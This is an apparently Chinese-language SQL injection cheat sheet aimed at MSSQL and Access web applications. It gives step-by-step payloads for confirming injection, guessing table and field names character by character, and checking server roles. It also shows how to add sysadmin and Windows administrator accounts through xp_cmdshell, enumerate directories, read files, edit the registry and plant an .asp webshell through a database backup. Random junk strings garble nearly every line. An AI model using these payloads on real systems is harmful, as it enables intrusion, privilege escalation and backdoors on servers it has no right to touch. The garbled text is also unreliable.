1.判断是否有注入;and 1=1 ;and 1=2 ufw3H9F(O
2.初步判断是否是mssql ;and user>0 Zk=*7?!!
dn ZzA
3.注入参数是字符'and [查询条件] and ''=' /2;dH]o0
p^1zIC>F
4.搜索时没过滤参数的'and [查询条件] and '%25'=' g@~!kh,TH
]*N:;J
5.判断数据库系统 OXHvT/L`
C$<"w,
;and (select count(*) from sysobjects)>0 mssql VEj$^bpp5s
S]&8St
;and (select count(*) from msysobjects)>0 access #bT8QbJ(
-AjH}A[!
oW1"%i%
O' +"d%2'
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Q2/MnM
L[?nST18%
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Kt
W6AZJ
{p`mfEE(
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 q,B3ru.?d
e74zR6
9.(1)猜字段的ascii值(access) B%tIwUE2
Vb@4(Q
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 U4>O\sU
FR:d^mL
(2)猜字段的ascii值(mssql) 7} be>(
UJz#QkAio
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 .'|mY$U~]
:{LAVMG&^
10.测试权限结构(mssql) 'LVn^TB_f&
\dRzS@l
QyPg
|#T2>
X8/Tl\c
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ]3*P:$Rq
ha*X6R
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 55.;+B5L*
} h[>U
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- CI`N8
f=v
d%0+i/p
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- <i{K7}':
''IoC j
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- g"wxC@IR
&lAQ &
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- wGvhB%8K
LVnHt}
;and 1=(select IS_MEMBER('db_owner'));-- H@{Objh1
4j>fI)FUW
#(C/Cx54
;UYc
11.添加mssql和系统的帐户 `} =yG_!A
XCDSmZ
;exec master.dbo.sp_addlogin username;-- 9tn;L"#&N
;exec master.dbo.sp_password null,username,password;-- #G_F`&
Sw)i1S9
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- F|9+ +)
Bv$UFTz
;exec master.dbo.xp_cmdshell 'net user username password ;7Y[c}V1^
) Qq'Wp3i
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- TyF{tuF
2i\Q@h
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 17}$=#SX
V/PAi.GZ
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- =SAV|
dpwD8Q<
U
!@G)$g=<
}j46L1T
12.(1)遍历目录 8pXKO"u],
*8bK')W
;create table dirs(paths varchar(100), id int) mEFw|M{
Yd:Q`#7A
;insert dirs exec master.dbo.xp_dirtree 'c:\' f1mHN7hxW
!VwmPAMr#v
;and (select top 1 paths from dirs)>0 hSB?@I4s<\
$Pxb1E
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) d?A}qA[(
-v+&pG?m
+2RNZEc
fW?sYC'
(2)遍历目录 ~,"N[Q
j!\dn!Xwt
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ?}}qu'N:N
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 $&hN*7Ts
p3c"ZPO~z
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 %r%So_^
Qzqc .T
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 a+`D'?z
PWH^=K
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 =E(#YCx
jk*tL8?i
lCJ6Ur;
zI^]esX!2_
13.mssql中的存储过程 kA4@`YCl
,2L$G&?
xp_regenumvalues 注册表根键, 子键 X32C}4-B
+r]zs^'
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 {tw+#}T a
\'Ssn(s
xp_regread 根键,子键,键值名 @PI%FV z~p
fRB5U'
;exec xp_regread +m)q% I>
&]F3#^!^
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 jVO{$j
dRW$T5dac
xp_regwrite 根键,子键, 值名, 值类型, 值 nv0#~UgE#a
ve Tx, \6@
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 !R'g59g
UMU2^$\iS
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 +bA%
J0Z7l
xp_regdeletevalue 根键,子键,值名 6cz/n8M g
_c`K+o"3
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 <YB9Ac~}z
uo2'"@[e
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ! zL1;d
aS84n.?vq
Io n~
NBYH;h P
14.mssql的backup创建webshell X(@uw X$m
-MBV$:_R
use model 4;<ut$G
Dnw| %6Y
create table cmd(str image); Fh8lmOL;?
8R/dA<Ww
insert into cmd(str) values (''); 3BG>Y(v
;=4Xz\2
backup database model to disk='c:\l.asp'; *bd[S0l
$,3J7l3
= &tmP
-C-yQ.>\T#
15.mssql内置函数 jQS 6J+F]
M f~}/h
;and (select @@version)>0 获得Windows的版本号 7f3O
6gH{R$7L=
;and user_name()='dbo' 判断当前系统的连接用户是不是sa cl@g
^v&D;<&R
;and (select user_name())>0 爆当前系统的连接用户 ,ho3
q{0R=jb
;and (select db_name())>0 得到当前连接的数据库 :|+Qe e
oD9^ID+
[ sF(#Y:I
'Gl&Pa1g?
16.简洁的webshell eJ0?=u!x
3djC;*,9,
use model ? *>]")[>
l12{fpm
create table cmd(str image); z^<L(/rg9"
Fv74bC%
insert into cmd(str) values (''); :,B7-kBw
qIIJ4n
backup database model to disk='g:\wwwtest\l.asp';